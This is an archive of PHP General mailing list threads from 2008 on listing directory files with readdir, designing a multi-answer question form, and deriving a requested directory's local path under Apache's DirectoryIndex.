Stut wrote: On 11 Sep 2008, at 13:12, Ben Stones wrote: I'm going to make a small browser based file system for ease of small updates that I make frequently on my Website. First of all I want to loop all the files on the same directory and to tell PHP read the same directory, I think I'd need to use the magic constant I think its called, __DIR__ such as: ?php $dir=opendir(__DIR__); while($files=readdir($dir)) { echo $files; } ? But I get a few errors: *Warning*: opendir(__DIR__) [function.opendir]: failed to open dir: No error in *C:\wamp\www\Project1\index.php* on line *2* *Warning*: readdir(): supplied argument is not a valid Directory resource in *C:\wamp\www\Project1\index.php* on line *3 *Any help in the right direction will be appreciated! __DIR__ is not a valid constant (yet, I think it may be planned for 5.3/6). You should be developing with notices on - this would have told you __DIR__ is wrong. Use dirname(__FILE__) to get what you're after. -Stut maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include, as it changes on a per directory basis; hence why it'd /need/ to be a *magic* constant I guess :) talked myself in and out of that one; but yet still worth a post i fear! nath -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
Nathan Rixham schreef: Stut wrote: On 11 Sep 2008, at 13:12, Ben Stones wrote: I'm going to make a small browser based file system for ease of small updates that I make frequently on my Website. First of all I want to loop all the files on the same directory and to tell PHP read the same directory, I think I'd need to use the magic constant I think its called, __DIR__ such as: ?php $dir=opendir(__DIR__); while($files=readdir($dir)) { echo $files; } ? But I get a few errors: *Warning*: opendir(__DIR__) [function.opendir]: failed to open dir: No error in *C:\wamp\www\Project1\index.php* on line *2* *Warning*: readdir(): supplied argument is not a valid Directory resource in *C:\wamp\www\Project1\index.php* on line *3 *Any help in the right direction will be appreciated! __DIR__ is not a valid constant (yet, I think it may be planned for 5.3/6). You should be developing with notices on - this would have told you __DIR__ is wrong. Use dirname(__FILE__) to get what you're after. -Stut maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s , as it changes on a per directory basis; hence why it'd /need/ to be a *magic* constant I guess :) talked myself in and out of that one; but yet still worth a post i fear! lol nath -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) still crap though -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Readdir() question
Nathan Rixham schreef: Jochem Maas wrote: Nathan Rixham schreef: Stut wrote: maybe this is into coding standards and ethics.. but this may be acceptable: if( !defined('__DIR__') ) { define('__DIR__' , dirname(__FILE__)); } however realistically you'd have to do this in every file and nto just in one include which would give an error on second and subsequent define()s yet if(!defined... it's already defined so won't be defined subsequent times :) my bad still crap though yes :-P -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] multiple question form creation
Hi, i have a web application in which some people should be able to create form adding questions and possible answers. basically user should: 1. type the question (which will be displayed to customer) 2. select type of answers (closed, open, list, multiple answer, and so on...) 3. add possible answers (could be several answers for 1 questions) what do i wonder it's how to do it in easy and nice way. I mean: 1. should i have 1 page asking for question title, 1 page for answer type and (for each possible answer) 1 page for each answer ? 2. should i have AJAX which will store data into session before storing into DB ? in this case it could be a 3 div content: 1 for question, 1 for new anwser type (a combobox for example) and 1 div for each new answer... but in this case how can i allow user to tell to system hey, i need to add another answer for this question ? i really would appreciate some help as it is not so hard to do it but to do it nice and well (userfriendly in fact) it is a little more complex. thanks a lot for your help. Alain, I would make everything on a single page. A text input for the Question Title A dropdown list for the different types A textarea for the answer section Then below the form just put two buttons: Finished which will save the last question and take them to your homepage Submit Another which will save the current question and then blank our the answer textarea You can use AJAX to make it seemless as far as the submission of data goes, or you could do ?php echo $_SERVER['PHP_SELF']; ? as your submit action.
Re: [PHP] multiple question form creation
thanks a lot Dan, i already know this possibility with textarea but it is not so nice. i would like to do something like under windows/linux. to have a button and when user click on it it add a new field for a new answer... however i do not know if it is so nice step for customer... any other idea ? :-) Dan Shirah wrote: Hi, i have a web application in which some people should be able to create form adding questions and possible answers. basically user should: 1. type the question (which will be displayed to customer) 2. select type of answers (closed, open, list, multiple answer, and so on...) 3. add possible answers (could be several answers for 1 questions) what do i wonder it's how to do it in easy and nice way. I mean: 1. should i have 1 page asking for question title, 1 page for answer type and (for each possible answer) 1 page for each answer ? 2. should i have AJAX which will store data into session before storing into DB ? in this case it could be a 3 div content: 1 for question, 1 for new anwser type (a combobox for example) and 1 div for each new answer... but in this case how can i allow user to tell to system hey, i need to add another answer for this question ? i really would appreciate some help as it is not so hard to do it but to do it nice and well (userfriendly in fact) it is a little more complex. thanks a lot for your help. Alain, I would make everything on a single page. A text input for the Question Title A dropdown list for the different types A textarea for the answer section Then below the form just put two buttons: Finished which will save the last question and take them to your homepage Submit Another which will save the current question and then blank our the answer textarea You can use AJAX to make it seemless as far as the submission of data goes, or you could do ?php echo $_SERVER['PHP_SELF']; ? as your submit action. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
I said AFAIK. I was under the impression the DirectoryIndex did a redirect. I just tested it and it does not, so you are correct Jochem. He has everything he needs. He'll need the document root and $_SERVER['REQUEST_URI'] to do this. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Jochem Maas wrote: Micah Gersten schreef: What is the point of figuring that out? If we knew that, we might be able to help you with a solution. As it stands what you want is not possible AFAIK. you know wrong. he has all the info needed. 1. the document root of the site (/var/www/example.com) 2. the requested URL (http://www.example.com/foo/bar) extract the path from the URL and stick into to the document root, problem sorted. No? do this: var_dump($_SERVER, $_REQUEST); read the output it contains, it should have everything you need although you will have to do some munging. for more esoteric setups you will have to test the code for completeness and possible expand it's capability to be able to tackle those situations. take it a step at a time. me thinks I made it sound more complicated than it is for most scenarios ... reading your last post it seems the answer is (for now) quite straight forward. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I am within a certain directory of the server via the browser. Example: http://www.example.com/foo/bar would be /var/www/example.com/foo/bar And Apache's DirectoryIndex feature is opening a index.php file that is located at /var/www/example.com/test/index.php And from that file i need to figure out the full local path of /foo/bar (which would be /var/www/example.com/foo/bar ) or any other directory i browse too. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
I am pretty certain that this isnt possible under current code. But i just wanted a confirmation on this, since i worked on the code for a while trying to get to the end point. And yes Jochem, i am looking for a magical location :P Well, thanks guys :) Ólafur Waage 2008/8/24 Micah Gersten [EMAIL PROTECTED]: What is the point of figuring that out? If we knew that, we might be able to help you with a solution. As it stands what you want is not possible AFAIK. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I am within a certain directory of the server via the browser. Example: http://www.example.com/foo/bar would be /var/www/example.com/foo/bar And Apache's DirectoryIndex feature is opening a index.php file that is located at /var/www/example.com/test/index.php And from that file i need to figure out the full local path of /foo/bar (which would be /var/www/example.com/foo/bar ) or any other directory i browse too. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Micah Gersten schreef: What is the point of figuring that out? If we knew that, we might be able to help you with a solution. As it stands what you want is not possible AFAIK. you know wrong. he has all the info needed. 1. the document root of the site (/var/www/example.com) 2. the requested URL (http://www.example.com/foo/bar) extract the path from the URL and stick into to the document root, problem sorted. No? do this: var_dump($_SERVER, $_REQUEST); read the output it contains, it should have everything you need although you will have to do some munging. for more esoteric setups you will have to test the code for completeness and possible expand it's capability to be able to tackle those situations. take it a step at a time. me thinks I made it sound more complicated than it is for most scenarios ... reading your last post it seems the answer is (for now) quite straight forward. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I am within a certain directory of the server via the browser. Example: http://www.example.com/foo/bar would be /var/www/example.com/foo/bar And Apache's DirectoryIndex feature is opening a index.php file that is located at /var/www/example.com/test/index.php And from that file i need to figure out the full local path of /foo/bar (which would be /var/www/example.com/foo/bar ) or any other directory i browse too. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Robert, thanks for the reply but i had tried __FILE__ and __DIR__ (which is dirname(__FILE__)) but it doesnt work. And thanks for the reply also Ashley but as i said in my first post, i had tried $_SERVER with limited results Ólafur Waage 2008/8/23 Robert Cummings [EMAIL PROTECTED]: On Fri, 2008-08-22 at 22:13 -0400, Eric Butera wrote: On Thu, Aug 21, 2008 at 8:50 PM, Ólafur Waage [EMAIL PROTECTED] wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe dirname(__FILE__) will help. When I'm looking for candidates to determine stuff like this I usually do print_r( $_SERVER ) and see what's what. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Luke, i am looking for local directory info. Not URL info as i said before. And Ashley, as i said in the original mail. I had tried $_SERVER. Thanks for the reply though. Ólafur Waage 2008/8/23 Luke [EMAIL PROTECTED]: $_REQUEST? Luke Slater Lead Developer NuVoo On 23 Aug 2008, at 12:53, Ólafur Waage [EMAIL PROTECTED] wrote: Robert, thanks for the reply but i had tried __FILE__ and __DIR__ (which is dirname(__FILE__)) but it doesnt work. And thanks for the reply also Ashley but as i said in my first post, i had tried $_SERVER with limited results Ólafur Waage 2008/8/23 Robert Cummings [EMAIL PROTECTED]: On Fri, 2008-08-22 at 22:13 -0400, Eric Butera wrote: On Thu, Aug 21, 2008 at 8:50 PM, Ólafur Waage [EMAIL PROTECTED] wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe dirname(__FILE__) will help. When I'm looking for candidates to determine stuff like this I usually do print_r( $_SERVER ) and see what's what. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
2008/8/23 Ólafur Waage [EMAIL PROTECTED]: Robert, thanks for the reply but i had tried __FILE__ and __DIR__ (which is dirname(__FILE__)) but it doesnt work. And thanks for the reply also Ashley but as i said in my first post, i had tried $_SERVER with limited results If checking the output of phpinfo() doesn't help (and it looks like it won't), I'd suggest starting with REQUEST_URI, then, if you know where your webroot is, you should be able to calculate the path to the target directory (/var/www/example/../test/ in your original example) by gluing bits of path together. Hardly an ideal solution as it needs configuration, but it would work. I think this is really a mod_rewrite problem, as by the time PHP takes over you've lost the information you need. You may have better luck in a forum devoted to mod_rewrite, but I'm not optimistic that it has a what file would have handled this request if mod_rewrite hadn't run parameter. I think you're going to have to build your directory path from the information in the original request and some configuration glue. Good luck (BTW, I initially thought there might be something in mod_autoindex to run a custom script, but it doesn't look like there is.) -- http://www.otton.org/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Thanks for this David, i was using REQUEST_URI and other $_SERVER info and mixed that together. It worked in some situations but on hosted servers (like GoDaddy and others like that where they use a complicated directory setup) it does not work. Olafur Waage 2008/8/23 David Otton [EMAIL PROTECTED]: 2008/8/23 Ólafur Waage [EMAIL PROTECTED]: Robert, thanks for the reply but i had tried __FILE__ and __DIR__ (which is dirname(__FILE__)) but it doesnt work. And thanks for the reply also Ashley but as i said in my first post, i had tried $_SERVER with limited results If checking the output of phpinfo() doesn't help (and it looks like it won't), I'd suggest starting with REQUEST_URI, then, if you know where your webroot is, you should be able to calculate the path to the target directory (/var/www/example/../test/ in your original example) by gluing bits of path together. Hardly an ideal solution as it needs configuration, but it would work. I think this is really a mod_rewrite problem, as by the time PHP takes over you've lost the information you need. You may have better luck in a forum devoted to mod_rewrite, but I'm not optimistic that it has a what file would have handled this request if mod_rewrite hadn't run parameter. I think you're going to have to build your directory path from the information in the original request and some configuration glue. Good luck (BTW, I initially thought there might be something in mod_autoindex to run a custom script, but it doesn't look like there is.) -- http://www.otton.org/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Ólafur Waage schreef: Robert, thanks for the reply but i had tried __FILE__ and __DIR__ (which is dirname(__FILE__)) but it doesnt work. __DIR__ only came into existence very recently IIRC, realpath(dirname(__FILE__)); will tell you what directory the *current script* is actually living in ... anything $_SERVER won't help you as is, although it might seem to under certain conditions. your looking to determine what the directory is of the script that was originally called by the webserver, after any magic URL rewriting, etc has taken place ... this is actually a PITA to do under certain situations, and by the sounds of it your trying to build something that will work regardless. I run into this stuff before and ended up have to generate the information myself based on various values like $_SERVER[DOCUMENT_ROOT], $_SERVER[PATH_INFO] and $_SERVER[REQUEST_URI]. to be clear, your not looking for 'the current directory' but rather something more vague i.e. 'the local absolute path to the directory that maps to the URL that the user requested' (the code to determine that will probably be as annoying to grok as that last sentence ;-) And thanks for the reply also Ashley but as i said in my first post, i had tried $_SERVER with limited results Ólafur Waage 2008/8/23 Robert Cummings [EMAIL PROTECTED]: On Fri, 2008-08-22 at 22:13 -0400, Eric Butera wrote: On Thu, Aug 21, 2008 at 8:50 PM, Ólafur Waage [EMAIL PROTECTED] wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe dirname(__FILE__) will help. When I'm looking for candidates to determine stuff like this I usually do print_r( $_SERVER ) and see what's what. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
What is the point of figuring that out? If we knew that, we might be able to help you with a solution. As it stands what you want is not possible AFAIK. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I am within a certain directory of the server via the browser. Example: http://www.example.com/foo/bar would be /var/www/example.com/foo/bar And Apache's DirectoryIndex feature is opening a index.php file that is located at /var/www/example.com/test/index.php And from that file i need to figure out the full local path of /foo/bar (which would be /var/www/example.com/foo/bar ) or any other directory i browse too. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
How are you browsing to it from within PHP? Depending on how you are doing it, the way to get the cwd is different Ash www.ashleysheridan.co.uk ---BeginMessage--- I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php ---End Message--- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Thanks for the reply Micah but i have no interest in the URL. I am looking for the servers local path to the directory. (example: /var/www/directory/ or C:\apache\htdocs\directory\) Also the HTTP_REFERER is empty unless you are linked in from another location. And then it gives you the URL you came from. Ólafur Waage. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
You might want to try a Redirect Rule or rewrite which would tell you the HTTP PATH. AFAIK, there is no way to know which directory they tried to access unless you write your own index.php and store it in a session variable. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: Thanks for the reply Micah but i have no interest in the URL. I am looking for the servers local path to the directory. (example: /var/www/directory/ or C:\apache\htdocs\directory\) Also the HTTP_REFERER is empty unless you are linked in from another location. And then it gives you the URL you came from. Ólafur Waage. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
That is the brick wall i faced. There is no way to know where exactly you are (via DirectoryIndex) locally on the machine. Thanks though. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: You might want to try a Redirect Rule or rewrite which would tell you the HTTP PATH. AFAIK, there is no way to know which directory they tried to access unless you write your own index.php and store it in a session variable. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: Thanks for the reply Micah but i have no interest in the URL. I am looking for the servers local path to the directory. (example: /var/www/directory/ or C:\apache\htdocs\directory\) Also the HTTP_REFERER is empty unless you are linked in from another location. And then it gives you the URL you came from. Ólafur Waage. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
On Fri, 2008-08-22 at 21:56 +, Ólafur Waage wrote: That is the brick wall i faced. There is no way to know where exactly you are (via DirectoryIndex) locally on the machine. Thanks though. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: You might want to try a Redirect Rule or rewrite which would tell you the HTTP PATH. AFAIK, there is no way to know which directory they tried to access unless you write your own index.php and store it in a session variable. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: Thanks for the reply Micah but i have no interest in the URL. I am looking for the servers local path to the directory. (example: /var/www/directory/ or C:\apache\htdocs\directory\) Also the HTTP_REFERER is empty unless you are linked in from another location. And then it gives you the URL you came from. Ólafur Waage. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage Are you just trying to find the current working directory, or are you navigating to a directory with PHP and want to know where you've ended up? Ash www.ashleysheridan.co.uk -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
I am within a certain directory of the server via the browser. Example: http://www.example.com/foo/bar would be /var/www/example.com/foo/bar And Apache's DirectoryIndex feature is opening a index.php file that is located at /var/www/example.com/test/index.php And from that file i need to figure out the full local path of /foo/bar (which would be /var/www/example.com/foo/bar ) or any other directory i browse too. Ólafur Waage 2008/8/22 Ashley Sheridan [EMAIL PROTECTED]: On Fri, 2008-08-22 at 21:56 +, Ólafur Waage wrote: That is the brick wall i faced. There is no way to know where exactly you are (via DirectoryIndex) locally on the machine. Thanks though. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: You might want to try a Redirect Rule or rewrite which would tell you the HTTP PATH. AFAIK, there is no way to know which directory they tried to access unless you write your own index.php and store it in a session variable. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: Thanks for the reply Micah but i have no interest in the URL. I am looking for the servers local path to the directory. (example: /var/www/directory/ or C:\apache\htdocs\directory\) Also the HTTP_REFERER is empty unless you are linked in from another location. And then it gives you the URL you came from. Ólafur Waage. 2008/8/22 Micah Gersten [EMAIL PROTECTED]: Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage Are you just trying to find the current working directory, or are you navigating to a directory with PHP and want to know where you've ended up? Ash www.ashleysheridan.co.uk -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
On Thu, Aug 21, 2008 at 8:50 PM, Ólafur Waage [EMAIL PROTECTED] wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe dirname(__FILE__) will help.
Re: [PHP] Quick question regarding getcwd() and directory location.
